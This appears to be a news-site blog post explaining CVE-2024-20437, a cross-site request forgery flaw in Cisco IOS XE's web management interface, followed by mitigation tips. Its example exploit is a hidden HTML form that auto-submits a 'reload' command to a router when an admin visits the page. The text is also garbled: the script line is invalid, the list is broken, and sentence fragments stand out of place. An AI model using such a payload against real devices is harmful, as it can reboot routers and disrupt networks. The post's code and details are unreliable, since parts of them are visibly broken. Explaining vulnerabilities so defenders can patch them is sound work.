CVE CyberSecurity Database News

CVE-2024-20437 - Cisco IOS XE Web Management CSRF Vulnerability Explained

Poster -

In early 2024, Cisco revealed a critical security flaw tracked as CVE-2024-20437 affecting Cisco IOS XE software’s web-based management interface. This vulnerability allows a remote, unauthenticated attacker to trigger a Cross-Site Request Forgery (CSRF) attack, potentially letting them execute CLI commands on a vulnerable device. Given the popularity of Cisco devices in enterprise and critical infrastructure, this is a significant issue administrators must address.

Below we’ll break down how this vulnerability works, show an example exploit, and give references for further action.

What Is CVE-2024-20437?

CVE-2024-20437 is a flaw in Cisco’s web management interface for IOS XE. In simple terms, the web interface doesn’t properly defend against CSRF attacks. If an attacker convinces a logged-in administrator to click a specially crafted link (often through email or malicious site), the attacker’s commands run as if they’re the administrator — all without logging in.

In summary:

Admin logs into Cisco device’s web panel.

2. Attacker sends the admin a crafted HTML link or form via phishing, instant message, or malicious website.

Command is executed with admin’s privileges.

The root cause is lack of CSRF tokens or checks in the web interface. Normally, web management interfaces should include protections to ensure requests couldn’t be forged from another site.

Example Exploit Scenario

Let’s say your Cisco IOS XE device’s web interface is at https://router.example.com. An attacker crafts malicious HTML like this:

<!-- attacker.html -->
<html>
  <body>
    <form action="https://router.example.com/execcli" method="POST" style="display:none;">
      <input type="hidden" name="command" value="reload">
      <input type="submit" />
    </form>
    <script>
      document.forms[].submit(); // Auto-submit on load
    </script>
  </body>
</html>

If an authenticated admin visits attacker.html, the browser automatically submits the form. The router receives a request to execute reload (reboot), with *no authentication* check besides the admin’s existing session.

Disrupt entire network operations

All it takes is social engineering an admin into clicking a bad link while logged in.

Mitigation Steps

Cisco published software updates to fix this vulnerability. All users should immediately upgrade IOS XE to a secured version.

Log out after each session

- Educate admins about suspicious links/emails

Official References

- Cisco Security Advisory: CVE-2024-20437
- NIST NVD Entry for CVE-2024-20437

Conclusion

CVE-2024-20437 is a critical reminder that admin interfaces—even those behind authentication—must be protected against forged requests. If you manage Cisco hardware, patch immediately and review web interface usage.

Stay safe. Stay patched.

*This post is exclusive to this channel and written to help IT admins and security teams understand and react to the CVE-2024-20437 threat.*

Timeline

Published on: 09/25/2024 17:15:16 UTC
Last modified on: 09/26/2024 13:32:02 UTC